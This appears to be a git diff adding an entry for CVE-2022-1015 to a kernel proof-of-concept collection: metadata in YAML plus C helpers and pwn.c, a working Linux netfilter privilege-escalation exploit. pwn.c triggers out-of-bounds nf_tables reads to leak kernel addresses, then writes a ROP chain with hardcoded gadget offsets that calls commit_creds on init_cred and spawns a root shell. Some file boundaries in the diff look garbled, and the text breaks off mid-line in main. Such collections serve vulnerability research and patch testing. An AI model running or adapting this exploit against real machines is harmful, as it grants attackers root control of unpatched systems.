diff --git a/data/KernelPocs/CVE-2022-1015/CVE-2022-1015.yaml b/data/KernelPocs/CVE-2022-1015/CVE-2022-1015.yaml new file mode 100644 index 0000000000000000000000000000000000000000..472a0fcaa9d4496880ac5e06e15b9d326349752f --- /dev/null +++ b/data/KernelPocs/CVE-2022-1015/CVE-2022-1015.yaml @@ -0,0 +1,25 @@ +Id: CVE-2022-1015 +Belong: kernel +PocHazardLevel: high +Source: https://github.com/pqlx/CVE-2022-1015 +SiteInfo: + Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核 + Severity: medium + Description: + Linux 内核存在安全漏洞,该漏洞源于在netfilter子系统的linux/net/netfilter/nf_tables_api.c中存在Linux内核的一个缺陷。 此漏洞允许本地用户导致越界写入问题。 攻击者可以通过nft_expr_payload触发 Linux 内核的内存损坏,从而触发拒绝服务,并可能运行代码。 + ScopeOfInfluence: + v5.12 ≤ linux kernel +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include "helpers.h" + +static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + + int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + + while (ret > 0) { + ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL); + if (ret <= 0) break; + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + } + return ret; +} + +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) +{ + + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf); + + uint8_t msg_type = msg & 0xff; + uint8_t nft_type = (msg >> 8) & 0xff; + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++); + mnl_nlmsg_batch_next(batch); + int table_seq = *seq; + struct nlmsghdr* nlh; + + if (result_handler == NULL) { + result_handler = default_batch_req_handler; + } + + nlh = nftnl_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + msg_type, family, + msg_flags | NLM_F_ACK, (*seq)++ + ); + + switch(nft_type) { + case NFT_TYPE_TABLE: + nftnl_table_nlmsg_build_payload(nlh, *object); + nftnl_table_free(*object); + break; + case NFT_TYPE_CHAIN: + nftnl_chain_nlmsg_build_payload(nlh, *object); + nftnl_chain_free(*object); + break; + case NFT_TYPE_RULE: + nftnl_rule_nlmsg_build_payload(nlh, *object); + nftnl_rule_free(*object); + break; + default: + return -1; // will increment seq wrongly... no prob i guess + } + + *object = NULL; + + mnl_nlmsg_batch_next(batch); + nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++); + mnl_nlmsg_batch_next(batch); + + int ret = mnl_socket_sendto( + nl, + mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch) + ); + + if (ret < 0) { + perror("mnl_socket_send"); + return -1; + } + + int portid = mnl_socket_get_portid(nl); + + mnl_nlmsg_batch_stop(batch); + + result_handler(nl, portid, table_seq); +} + +struct nftnl_table* build_table(char* name, uint16_t family) +{ + struct nftnl_table* t = nftnl_table_alloc(); + + nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); + + return t; +} + +struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param) +{ + struct nftnl_chain* c; + + c = nftnl_chain_alloc(); + + nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name); + + if (base_param) { + nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num); + nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio); + } + + return c; + +} + + +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle) +{ + struct nftnl_rule* r = NULL; + uint8_t proto; + + r = nftnl_rule_alloc(); + + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name); + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name); + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family); + + if (handle) { + nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle); + } + + return r; + +} + +// for some reason my editor does not recognize these +#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1 +#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1 + + +void rule_add_bit_shift( + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len, + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len) +{ + + if(bitwise_len > 0xff) { + puts("bitwise_len > 0xff"); + exit(EXIT_FAILURE); + } + + struct nftnl_expr* e; + e = nftnl_expr_alloc("bitwise"); + + nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg); + nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg); + nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type); + nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len); + nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len); + + nftnl_rule_add_expr(r, e); +} + +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg) +{ + uint32_t data = 0; + rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data)); +} + +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg) +{ + struct nftnl_expr* e; + e = nftnl_expr_alloc("payload"); + + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base); + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset); + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len); + nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg); + + nftnl_rule_add_expr(r, e); +} + +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len) +{ + struct nftnl_expr* e; + e = nftnl_expr_alloc("cmp"); + + nftnl_expr_set_u32(e, NFTA_CMP_OP, op); + nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg); + nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len); + + nftnl_rule_add_expr(r, e); +} + +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len) +{ + struct nftnl_expr* e; + + e = nftnl_expr_alloc("immediate"); + + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg); + nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len); + + nftnl_rule_add_expr(r, e); +} + +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name) +{ + struct nftnl_expr* e; + e = nftnl_expr_alloc("immediate"); + + // dreg = 0 -> verdict + nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0); + + nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict); + + if (verdict == NFT_GOTO || verdict == NFT_JUMP) { + nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name); + } + + nftnl_rule_add_expr(r, e); +} + + +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) +{ + + struct nftnl_table* t = build_table(name, family); + + return send_batch_request( + nl, + NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8), + NLM_F_CREATE, family, (void**)&t, seq, + result_handler + ); +} + +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) +{ + struct nftnl_chain* c = build_chain(chain_name, table_name, base_param); + + return send_batch_request( + nl, + NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8), + NLM_F_CREATE, family, (void**)&c, seq, + result_handler + ); +} + +/* +int update_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) +{ + struct nftnl_chain* c = build_chain(chain_name, table_name, base_param); + + return send_batch_request( + nl, + NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8), + NLM_F_CREATE | NLM_F_REPLACE, family, (void**)&c, seq, + result_handler + ;) +} +*/ + +struct child_proc { + struct child_proc* next; + pid_t pid; +}; + +static struct child_proc *children; + + +static void add_child(pid_t pid) +{ + struct child_proc* child = malloc(sizeof *child); + child->pid = pid; + child->next = children; + children = child; +} + +static void kill_children(int sig) +{ + //printf("[pid=%d] killing children!\n", getpid()); + + struct child_proc* current_child = children; + while (current_child) { + kill(current_child->pid, SIGTERM); + current_child = current_child->next; + } + + exit(EXIT_SUCCESS); +} + +pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int)) +{ + + int err; + + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + + if (s < 0) { + perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)"); + exit(EXIT_FAILURE); + } + + int reuse_addr = 1; + + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr); + + struct sockaddr_in addr; + inet_aton(ip_string, &addr.sin_addr); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + + err = bind(s, (struct sockaddr*)&addr, sizeof(addr)); + + if (err < 0) { + perror("bind"); + exit(EXIT_FAILURE); + } + + printf("Started listener on [%s:%d] (udp)\n", ip_string, port); + + pid_t pid = fork(); + if (pid) { + // parent process + add_child(pid); + return pid; + } + + handler(s); + + exit(EXIT_SUCCESS); + +} + +int stop_listener(pid_t pid) +{ + + if (kill(pid, SIGTERM)) { + perror("kill"); + return -1; + }; + + struct child_proc* next_child = children; + struct child_proc* current_child = NULL; + + while (next_child) { + + if (next_child->pid == pid) { + + struct child_proc** prev = current_child == NULL ? &children : ¤t_child; + if (current_child == NULL) { + prev = &children; + } else { + prev = ¤t_child; + } + + (*prev)->next = next_child->next; + break; + + } + + current_child = next_child; + next_child = next_child->next; + } + + return 0; +} + +int connect_to(char* ip_string, uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + + if (s < 0) { + perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)"); + return -1; + } + struct sockaddr_in conn_addr; + conn_addr.sin_port = htons(port); + inet_aton(ip_string, &conn_addr.sin_addr); + conn_addr.sin_family = AF_INET; + + int err = connect(s, (struct sockaddr*)&conn_addr, sizeof conn_addr); + if (err < 0) { + perror("connect"); + return -1; + } + + printf("Successfully connected to [%s:%hd] (udp)\n", ip_string, port); + + return s; +} + +void hexdump(void* data, size_t len, unsigned int n_columns) +{ + + uint8_t* bdata = data; + + for (int i = 0; i < len; ++i) { + printf("%.2hhx ", bdata[i]); + + if ( (i+1) % n_columns == 0) { + putchar('\n'); + } + } +} \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-1015/helpers.h b/data/KernelPocs/CVE-2022-1015/helpers.h new file mode 100644 index 0000000000000000000000000000000000000000..89a38a5be8c5189b3532d9f645a7fa7fcc0f3239 --- /dev/null +++ b/data/KernelPocs/CVE-2022-1015/helpers.h @@ -0,0 +1,60 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * David Bouman (pql) wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Signed, David. + * ---------------------------------------------------------------------------- + */ +#pragma once +#include + +#define CLR_RED "\e[0;31m" +#define CLR_GRN "\e[0;32m" +#define CLR_RESET "\e[0m" + +enum nft_types { + NFT_TYPE_TABLE = 0, + NFT_TYPE_CHAIN, + NFT_TYPE_RULE +}; + +struct unft_base_chain_param { + uint32_t hook_num; + uint32_t prio; +}; + + +// build helpers +struct nftnl_table* build_table(char* name, uint16_t family); +struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param); +struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle); + +// create helpers (actually commits to the kernel) +int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int)); + +int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)); +int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)); + +// expression helpers +void rule_add_bit_shift( + struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len, + uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len); +void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg); +void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg); +void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len); + + +void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len); +void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name); + +// add immediate of arbitrary length +void rule_add_immediate_data_arblen(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len); + +// misc. helpers +pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int)); +int stop_listener(pid_t pid); +int connect_to(char* ip_string, uint16_t port); +void hexdump(void* data, size_t len, unsigned int n_columns); + +void drop_to_networkns(); \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-1015/pwn.c b/data/KernelPocs/CVE-2022-1015/pwn.c new file mode 100644 index 0000000000000000000000000000000000000000..a8ee11a658d8bb206a31bbf95af11e473f0eb6d4 --- /dev/null +++ b/data/KernelPocs/CVE-2022-1015/pwn.c @@ -0,0 +1,615 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * David Bouman (pql) wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Signed, David. + * ---------------------------------------------------------------------------- + */ + +#define _GNU_SOURCE 1 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "helpers.h" + +struct vuln_expr_params { + uint32_t min_len; + uint32_t max_len; + uint32_t value; +}; + + +void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq) +{ + if (create_table(nl, table_name, AF_INET, seq, NULL) == -1) { + perror("Failed creating table"); + exit(EXIT_FAILURE); + } + + printf("[+] Created nft %s\n", table_name); + + struct unft_base_chain_param bp; + bp.hook_num = NF_INET_LOCAL_OUT; + bp.prio = 10; + + if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL)) { + perror("Failed creating base chain"); + exit(EXIT_FAILURE); + } + + printf("[+] Created base ipv4 chain %s\n", base_chain_name); +} + +static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift) +{ + uint64_t base_ = (uint64_t)(1) << (32 - shift); + uint32_t base = (uint32_t)(base_ - 1); + + if (base == 0xffffffff) { + base = 0xfffffffb; // max actual value + } + + for (;;) { + uint64_t computed = (base * 4) & 0xffffffff; + uint64_t max_value = computed + (uint64_t)(max_len); + if (max_value < ((uint64_t)(1) << 32)) { + break; + } + + if ( (base & 0xff) != desired) { + base--; + continue; + } + + uint32_t len_at_least = ((uint64_t)1 << 32) - computed; + uint32_t len_at_most = len_at_least + 0x50; + + if (min_len > len_at_least) { + len_at_least = min_len; + } + + if (max_len < len_at_most) { + len_at_most = max_len; + } + result->max_len = len_at_most; + result->min_len = len_at_least; + result->value = base + 4; + return 0; + + } + return -1; + +} + +static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len) +{ + + for (int i = 0; i < 3; ++i) { + int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i); + if (!res) { + return 0; + } + } + + return -1; + +} + +#define MAGIC 0xdeadbeef0badc0de +int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq) +{ + + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle); + + // we start by adding a rule to fetch the destination port + // UDP header destination port starts at offset +2 and is 2 bytes long + // we store the result in register 8 + + rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8); + + // if the destination port does not match, the rule will accept the packet. This will save us a lot of noise, + // including noise generated by packets sent by our server socket. + + // the server sockets actually have a different stack layout than the client sockets in do_chain, so this is essential. + + uint16_t dest_port = htons(9999); + rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port); + + // then, we fetch the first 8 bytes of the the inner header. + // these need to match our magic value, or else the rule will accept the packet. + // we do this as a failsafe that guarantees we only process packets we + // actually want to process. + + rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 8); + + uint64_t magic = MAGIC; + rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic); + + // If the packet passed these checks, we jump to the auxiliary chain + + rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain"); + + // Commit rule to the kernel + return send_batch_request( + nl, + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), + NLM_F_CREATE, family, (void**)&r, seq, + NULL + ); + +} + +int create_infoleak_rule( + struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags) +{ + + struct vuln_expr_params vuln_params; + + // index 0xff translates to +0x3fc, and there's a kernel address that we can grab. + + if (calc_vuln_expr_params(&vuln_params, 0xff, 0x40, 0x40)) { + puts("Could not find correct params to trigger OOB read."); + return -1; + } + + // we shift by pos*8 so that the first byte of the register will be the one at pos `pos`. + uint32_t shift_amt = (pos * 8); + rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt); + + // we compare it to the constant - we can binary search + + // if the compared value is greater than our supplied value, + // we accept the packet. Else, we drop it. + + rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1); + + rule_add_immediate_verdict(r, NF_DROP, NULL); + + return send_batch_request( + nl, + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), + NLM_F_CREATE | extraflags, family, (void**)&r, seq, + NULL + ); +} + +#define INFOLEAK_RULE_HANDLE 4 +uint8_t do_leak_byte(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint8_t pos, int* seq) +{ + + uint8_t low = 0; + uint8_t high = 255; + + uint8_t mid; + + char msg[16] = {}; + char result[16] = {}; + *(uint64_t*)msg = MAGIC; + + for(;;) { + + mid = (high + low) / 2; + + printf("bounds (inclusive): [0x%.2hhx, 0x%.2hhx]\n", low, high); + + if (low == high) { + return mid; + } + + // Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE + struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL); + nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); + + // The rule is going to compare + if (create_infoleak_rule(nl, r, mid, pos, NFPROTO_IPV4, seq, NLM_F_REPLACE)) { + perror("Could not replace infoleak rule"); + exit(EXIT_FAILURE); + } + + sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr); + + struct sockaddr_in presumed_server_addr; + socklen_t presumed_server_addr_len = sizeof presumed_server_addr; + + int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len); + if (!nrecv) { + puts("[-] Remote socket closed..."); + exit(EXIT_FAILURE); + } else if (nrecv < 0) { + + // In case of timeout, value is greater than `mid` + low = mid + 1; + } else { + if (strcmp(result, "MSG_OK")) { + puts("[-] Something went wrong..."); + exit(EXIT_FAILURE); + } + memset(result, 0, sizeof result); + + // But if we get a response, the packet arrived at the server and therefore the value is lower than or equal to mid + + high = mid; + } + } +} + +uint32_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq) +{ + + #define CLIENT_HOST "127.0.0.1" + #define CLIENT_PORT 8888 + + int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + + struct sockaddr_in client_addr; + inet_aton(CLIENT_HOST, &client_addr.sin_addr); + client_addr.sin_port = htons(CLIENT_PORT); + client_addr.sin_family = AF_INET; + + if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0) { + perror("client bind"); + return -1; + } + + // 100ms receive timeout + // can probably be lower + struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200}; + setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t); + + uint8_t results[4] = {}; + + for(int i = 1; i < 4; ++i) { + results[i] = do_leak_byte(nl, client_sock, addr, table_name, aux_chain_name, i, seq); + printf("[+] Leaked byte %i: %.2hhx\n", i, results[i]); + } + + close(client_sock); + return *(uint32_t*)results; + +} + +int simple_handler(int fd) +{ + char buf[4096] = {}; + + struct sockaddr_in client_addr = {}; + socklen_t client_addr_size = sizeof client_addr; + size_t conn_id = 0; + + for (;;) { + + int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size); + + if (len <= 0) { + printf("listener receive failed..\n"); + perror(""); + return -1; + } + + printf("Received message from [%s:%d] (udp) (0x%x bytes):\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port), len); + hexdump(buf, len, 8); + } + + close(fd); + + return 0; +} + + +int leak_handler(int fd) +{ + char buf[4096] = {}; + char send_back[] = "MSG_OK"; + struct sockaddr_in client_addr = {}; + socklen_t client_addr_size = sizeof client_addr; + size_t conn_id = 0; + + for (;;) { + + int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size); + + if (len <= 0) { + printf("listener receive failed..\n"); + perror(""); + return -1; + } + + sendto(fd, send_back, sizeof(send_back), 0, (struct sockaddr*)&client_addr, client_addr_size); + } + + close(fd); + + return 0; +} + +void* new_stack; + +/* This is where we return after our rop chain */ +extern void _after_rop(); +void after_rop() +{ + + system("id"); + system("sh"); + +} + +static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq) +{ + + // return address is at regs.data[0xca] + struct vuln_expr_params v; + + if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) { + puts("[-] Cannot find suitable parameters for planting ROP chain."); + return -1; + } + + struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL); + //nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); + rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value); + + + int err = send_batch_request( + nl, + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), + NLM_F_CREATE, NFPROTO_IPV4, (void**)&r, seq, + NULL + ); + + if (err) { + perror("send_batch_request"); + return err; + } + + return v.max_len; + +} + +void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length) +{ + + // Structures in .data + #define INIT_NSPROXY_OFF 0x1867360 + #define INIT_PID_NS_OFF 0x1866fe0 + #define INIT_CRED_OFF 0x18675a0 + + // Routines in .text + #define SWITCH_TASK_NAMESPACES_OFF 0xd1040 + #define COMMIT_CREDS_OFF 0xd2430 + #define FIND_TASK_BY_VPID_OFF 0x0c8c80 + #define BPF_GET_CURRENT_TASK_OFF 0x1ebde0 + #define __DO_SOFTIRQ_OFF 0x1000000 + + // Gadgets + #define MOV_RDI_RAX_OFF 0xc032fb // constraint: rcx==0 + #define POP_RDI_OFF 0x92610 + #define POP_RSI_OFF 0x676d2 + #define POP_RCX_OFF 0x139a3 + #define POP_RBP_OFF 0x6ffa8d + #define XOR_ECX_ECX_OFF 0x7110bf + #define MOV_R13_RCX_POP_RBP_OFF 0xaf089b + #define POP_R11_R12_RBP_OFF 0x054645 + #define CLI_OFF 0x4df88b + #define STI_OFF 0xc061c0 + #define MOV_RCX_RAX_OFF 0x2faad4 + #define SWAPGS_SYSRETQ_OFF 0xe000fb + // Misc. + #define OLD_TASK_FLAGS_OFF 0x1a554a // 0x40010000 + + uint64_t *packet = calloc(1, rop_length + 8); + + packet[0] = 0; + uint64_t* rop = &packet[1]; + + + // 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret + + int i = 0; + #define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0) + + // clear interrupts + _rop(kernel_base + CLI_OFF); + + // make rbp-0x58 point to 0x40010000 + _rop(kernel_base + POP_RBP_OFF); + _rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58); + + /* Cleanly exit softirq and return to syscall context */ + _rop(kernel_base + __DO_SOFTIRQ_OFF + 418); + + // stack frame was 0x60 bytes + for(int j = 0; j < 12; ++j) _rop(0); + + /* We're already on 128 bytes here */ + + // switch_task_namespaces(current, &init_nsproxy) + _rop(kernel_base + BPF_GET_CURRENT_TASK_OFF); + _rop(kernel_base + MOV_RDI_RAX_OFF); // rcx happens to aleady be 0 + _rop(kernel_base + POP_RSI_OFF); + _rop(kernel_base + INIT_NSPROXY_OFF); + _rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF); + + // commit_cred(&init_cred) + _rop(kernel_base + POP_RDI_OFF); + _rop(kernel_base + INIT_CRED_OFF); + _rop(kernel_base + COMMIT_CREDS_OFF); + + // pass control to system call stack + // this is offset +0xc0 from our rop chain + // target is at +0x168 + _rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret + + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + puts("Triggering payload.."); + sendto(s, packet, rop_length + 8, 0, (struct sockaddr*)magic_addr, sizeof *magic_addr); +} + +int main(int argc, char** argv, char** envp) +{ + + if (argc < 2) { + puts("[+] Dropping into network namespace"); + + // We're too lazy to perform uid mapping and such. + char* new_argv[] = { + "/usr/bin/unshare", + "-Urn", + argv[0], + "EXPLOIT", + NULL + }; + + execve(new_argv[0], new_argv, envp); + puts("Couldn't start unshare wrapper.."); + puts("Recompile the exploit with an appropriate unshare path."); + exit(EXIT_FAILURE); + } + if (strcmp("EXPLOIT", argv[1])) { + puts("[-] Something went wrong..."); + exit(EXIT_FAILURE); + } + + // I'm too lazy to talk to NETLINK_ROUTE.. + // Deal with it! + system("ip link set dev lo up"); + + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("[-] mnl_socket_bind"); + puts("[-] Are you sure you have CAP_NET_ADMIN?.."); + exit(EXIT_FAILURE); + } + int seq = time(NULL); + int err; + + char *table_name = "exploit_table", + *base_chain_name = "base_chain", + *aux_chain_name = "aux_chain"; + + setup_nftables(nl, table_name, base_chain_name, &seq); + + if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) { + perror("Failed creating auxiliary chain"); + exit(EXIT_FAILURE); + } + printf("[+] Created auxiliary chain %s\n", aux_chain_name); + + if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) { + perror("Failed creating base chain rule"); + exit(EXIT_FAILURE); + } + + puts("[+] Created base chain rule"); + + // we need to make a rule first in order to replace it + // in our leaky rule creation. it's a bit of a hack but it works + // We can also use it to determine whether the system is vulnerable + // before actually exploiting. + + struct vuln_expr_params v; + + // offset 0xca and len 0xff is OOB + if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) { + puts("[-] Something went horribly wrong..."); + exit(EXIT_FAILURE); + } + + struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL); + rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value); + + err = send_batch_request( + nl, + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), + NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq, + NULL + ); + + if (err) { + puts(CLR_RED "[+] TARGET IS NOT VULNERABLE to CVE-2022-1015!" CLR_RESET); + exit(EXIT_FAILURE); + } + + puts("[+] Succesfully created rule with OOB nft_payload!"); + puts(CLR_GRN "[+] TARGET IS VULNERABLE to CVE-2022-1015!" CLR_RESET); + puts("[+] Type 'y' to try exploiting the target."); + puts(CLR_RED "!!!BEWARE: THIS IS LIKELY TO CAUSE A KERNEL PANIC!!!" CLR_RESET); + + char a[4] = {}; + read(0, a, 1); + + if (a[0] != 'y') { + puts("Bye!"); + exit(EXIT_SUCCESS); + } + + #define SERVER_HOST "127.0.0.1" + #define SERVER_PORT 9999 + + int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler); + + struct sockaddr_in server; + inet_aton(SERVER_HOST, &server.sin_addr); + server.sin_port = htons(SERVER_PORT); + server.sin_family = AF_INET; + + #define LEAK_BASE_OFFSET 0x9ac3ec + uint32_t leak = 